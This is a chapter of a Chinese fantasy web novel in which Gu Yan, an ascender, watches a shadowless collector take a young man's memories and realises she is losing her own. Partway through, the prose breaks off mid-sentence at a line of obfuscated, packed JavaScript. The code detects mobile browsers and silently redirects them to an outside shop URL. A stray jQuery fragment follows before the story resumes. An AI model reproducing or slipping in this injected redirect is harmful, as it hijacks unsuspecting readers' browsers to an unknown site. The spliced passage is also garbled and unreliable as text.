阶厅的穹顶呈半圆弧，像一口倒扣的钟。钟面灰白，无纹无刻，只有中央悬着一粒凝滞的光点，不亮不灭，像一只睁着的眼。顾湮站在光点正下方，仰头看它，看久了便觉得那光点也在看她。
"别盯太久。"旁边有人说，"看久了，它会记住你。"
顾湮偏过头。说话的是个瘦高男人，灰袍下摆拖在地上，袖口卷了三折，露出细得近乎脱臼的手腕。他正低头摆弄一枚骨牌，牌面刻着某种她没见过的符号，像一滴水被冻结在半空。男人注意到她的视线，咧嘴一笑，将骨牌收进袖中："新来的？"
"拾阶者。"顾湮说。
"知道。"男人点头，目光滑过她裸露的手掌，"灰纹到掌心了，锚过律的。灰烬律？"
顾湮没答。男人也不追问，只是侧身让出半个位置，示意她看厅中的人群。阶厅里大约百来人，或坐或立，三三两两聚成小群。这些人大多是归墟的阶民，灰衣灰面，像同一块石料凿出的俑。但其中有几个不同——他们身上的灰衣颜色略浅，袖口绣着一道银线，腰间悬着短匕，行动时脚步极轻，像猫。
"烬婆的人。"瘦高男人压低声音，"每隔几轮，他们就混进阶厅，等着下一批拾阶者上来。"
"为什么？"
"收税。"男人说，"拾阶者上行，总要带点什么。他们收的就是这个——带不上去的东西。"
顾湮听出他话里有话，正要追问，厅口一阵骚动。人群像被无形的手拨开，一个着浅灰袍的人影从缝隙间穿行而来，步伐不快，却每一步都踩在别人呼吸的间隙里。那人走到厅中央，停下，抬起脸。
是个女人，年纪看不出来，五官像被水泡过，轮廓模糊，唯独一双眼睛亮得反常，像两粒嵌在石中的灯珠。她环视一圈，没有看任何人，目光落在穹顶那粒光点上，停了一瞬。
"又来了。"瘦高男人低声说，"她每次来，都要挑一个人。"
"挑人做什么？"
"称量。"
顾湮皱眉。她注意到女人袖口没有银线，腰间也没有短匕，她什么都没带。但她走过的地方，地面上的灰似乎变淡了一些，像被什么无形的东西舔过。还有一件事，顾湮看了很久才确定——女人没有影子。穹顶的光点悬在正上方，人人脚下都拖着一道影子，只有她站着的那一小块地面是干净的。
女人在厅中站定，没有开口。她只是站着。人群自发地安静下来，退开一圈，像怕被什么沾上。厅里安静得像一座空坟。
女人缓缓转了一圈，目光最终定在一个角落。那里蹲着一个年轻男人，灰衣，袖口没有银线，腰间也没有短匕。他正低头啃一块干硬的饼，动作迟缓，像饿了很久。女人朝他走过去，在他面前停下，低头看他。
她伸出一根手指，在虚空中点了三下。不多不少，三下。
年轻男人抬起头，嘴里还含着饼，含糊不清地"嗯"了一声。
女人没有开口。她只是又点了一次，这一次点得很慢，一下，一下，一下。顾湮顺着她的指尖看过去——男人脚边那半块啃剩的饼，脚上磨破的鞋。前两样，看得见。第三样，她的指尖停在半空，偏过头，像在听什么。顾湮不知道她在听什么，但她注意到男人的眼神开始发直，像在努力想起一件突然想不起来的事。
带不上去的东西，会发亮。饼上浮着一层薄薄的银光，鞋上是一团灰，第三处光在男人的额头，像一粒要燃尽的火星。
她伸出手，指尖在虚空中轻轻一拨，像拨动一根看不见的弦。年轻男人身体颤了一下，随即又平静下来，只是眼神变了——变得空茫，像一面被擦净的镜子。
她收回手，伸出三根手指，一根一根地收拢。第一根收进去，男人脚边那块饼上的银光暗了；第二根收进去，鞋上的灰光散了。她停了停。第三根手指没有收拢，悬在半空，像在等什么。
"第三样。"她终于开口，声音很低，只说了这三个字。
她没有说下去。
"不许说。"
顾湮不知道自己的声音在什么时候出了口。她的人已经踏前半步，站在人群与女人之间。厅里所有目光转向她，像无数根针落在皮肤上。
女人偏过头，看着她，表情没有变化。她没有问"你是谁"，也没有问"你在拦谁"。她只是偏了偏头，像在看一件不常出现的东西。
"一个名字不该被这样收走。"顾湮说。
她也说不清自己为什么要拦。那个名字不是她的，她甚至不认识那个男人。
女人没有回答。她看了顾湮很久。久到顾湮能感觉到掌心的灰纹在皮肤下微微发烫，像被点燃的引线。然后女人抬起那根悬着的手指，朝顾湮摊开的手掌方向，虚虚点了一下。她没有碰她，只是点了一下，像在确认什么。
"有意思。"女人终于开口，声音很低，"你锚过灰烬律。"
顾湮没有否认。
"那你应该知道，灰烬律的代价是什么。"女人说，"你烧掉的东西越多，你自己留下的就越少。你护着一个陌生人的名字，可你自己的名字，你还记得吗？"
顾湮沉默了一瞬。她确实记得——顾湮，两个字，像刻在石上的凹痕。她曾经在事故报告上签过无数次这个名字，签名的时候，"湮"字的最后一笔总是往上挑一下，像要勾住什么。现在她看着自己的掌心，想着那个往上挑的最后一笔，想不起自己最近一次签名是什么时候。但她也记得，最近她开始忘记一些东西，一些她曾经以为永远不会忘的东西。母亲的脸，某个街角的气味，某段对话里的字句……它们像被沙覆盖的足迹，一点点消失在记忆的尽头。
"我自己的名字，我记得。"她说。
女人没有接话。她的目光从顾湮的掌心移开，落在她脸上，像在替她数什么。顾湮顺着那道目光，在心里默念——母亲姓什么？
她的呼吸顿住了。
她记得母亲站在门口，记得那条围巾，记得那句"今天风大，多穿点"。可那个姓氏，那个曾经每天都会出现在她口中的字，不见了。像被擦掉的粉笔字，只剩下一道模糊的白痕。
"看。"女人说，声音很轻，"你已经在忘了。"
她转身，不再看顾湮，而是重新看向那个年轻男人。男人依然坐在角落，眼神空茫，像一盏被吹熄的灯。女人抬起手，指尖在他额心轻轻一点，一道灰光闪过，男人像被抽走什么似的，软软地倒了下去。
"他叫什么？"顾湮问。
"不重要了。"女人说，"他上不去第二阶了。"
顾湮盯着她。她自己也记不清，自己到底是怎么来到这个阶厅的。她记得上行前的准备，记得阶口那道门，但门之前的事，像被雾罩住，只剩下模糊的轮廓。
她记得自己有个理由，一个必须上行的理由。但那个理由是什么，她想不起来了。
"你们收走的是记忆？"顾湮问。
女人看着她，没有回答。但她的眼神里有种东西，像看穿一潭浑浊的水，直直照见水底的沉物。她开口，声音很低："有些东西，归墟替你保管，等你需要时再还你。但有些东西——"她顿了顿，"归墟不会还。"
"不会还什么？"
女人没有回答。她抬起手，指了指自己的额头——那是她刚才点年轻男人的位置。然后她转身，走出三步，停住。
"你上来，"她说，没有回头，"是为什么。"
顾湮站在原地。这句话像一根针，扎进那个她刻意不去触碰的缝隙里。她张嘴，想回答，却发现自
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17932559|213646||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
己答不上来。她记得自己有个理由。但那个理由，此刻她想不起来。
女人没有再等她的回答。她走回人群，像一滴水重新融入水面，再看不见。厅里的人群重新开始流动，说话声、脚步声、衣料摩擦声，像什么都没发生过。只有那个年轻男人还蜷缩在角落，像一块被遗忘的石头。
顾湮站在原地。掌心的灰纹在隐隐发烫，分叉比刚才又深了一些，沿着掌纹向前爬了一点，像一根灰黑色的藤蔓，正在缓慢地、固执地攀爬。
"你刚才不该拦她。"
顾湮转头，瘦高男人不知何时又站到了她身边，手里重新捏着那枚骨牌，在指间翻转。
"为什么？"
"因为烬婆手下的人，从不做白工。"男人说，"她刚才收走了那个人的三样东西，但你的名字，她已经看见了。"
"看见又怎样？"
男人停下转牌的动作，看着她："你没听说过吗？烬婆手下的收税人有一种本事，他们收走的东西，会变成他们的东西。你刚才拦她，她没跟你计较，但你已经欠她一次了。"
"欠什么？"
"欠一个名字。"男人说，"她下次来找你的时候，你给她的，可能就不只是一个名字了。"
他说完，转身走了，像那些阶民一样，很快消失在人群里。顾湮站在原地，看着自己掌心的灰纹，想起烬婆说过的话——锚定每一条律，你都会失去一段自己。她当时以为，失去的是情感，是柔软，是那些会拖慢她脚步的东西。她正在失去的，是她为什么在这里的理由。
她抬起头，看向穹顶那粒凝滞的光点。它依然在看着她，不亮不灭，像一只不知疲倦的眼睛。
她问它：你还记得吗？你记得我为什么要上来吗？
光点没有回答。它悬在那里，不亮不灭，像从这座阶厅立起来的第一天起就悬在那里。顾湮仰头看了它很久，久到脖子发酸，久到她把这个问题在脑子里重新问了一遍。第一遍是问光点。第二遍是问自己。
光点似乎闪了一下——极短暂的一瞬，像眼皮眨了一下。顾湮不确定那是真实，还是她的幻觉。但她注意到，光点下方，阶厅的墙壁上，有一道极细的裂缝，从墙根一直延伸到穹顶，像一道愈合很久的伤疤。
裂缝的边缘，颜色比周围更深，像被什么渗透过。顾湮伸手去摸，指尖触到墙面，冰凉，粗糙，像摸到一块被海水浸泡多年的礁石。
她想起一件事——她死前，在地球上，看到过一道裂缝。那道裂缝横贯天际，像天空被什么撕开了一道口子，里面透出不属于这个世界的暗红色光。
她当时以为那是她的幻觉。她当时以为自己只是太累了，看到了不该看的东西。
但现在，她看着墙壁上这道裂缝，觉得它们很像。同样的形状，同样的深度，像同一把刀，在不同的地方，切出了同样的伤口。
"蚀潮……"她低声念着这个词，又念了一遍，"终灭。"
她不知道这个词是从哪里冒出来的。她从未听过它，从未见过它。但当这个词从她舌尖滑落时，她的灰纹剧烈跳动了一下，像一颗心脏被什么东西重重撞了一下。
灰纹的末端，新长出一道极细的分叉，像一根树枝，从主干上悄悄伸向更深处。
她刚才没有锚定任何律。
那这道分叉，是怎么长出来的？
阶厅的光点依然悬在穹顶，不亮不灭。顾湮盯着自己掌心的新纹路。也许她从来就不是什么拾阶者。也许她上来，不是为了登神，是为了找那道缝。
她抬起头，看向穹顶那道裂缝。指尖还留在墙面上，那道凉意顺着指腹往上走，走到腕骨，停住了。裂缝深处，似乎有什么东西在蠕动，像一条冬眠的蛇，正在缓慢地苏醒。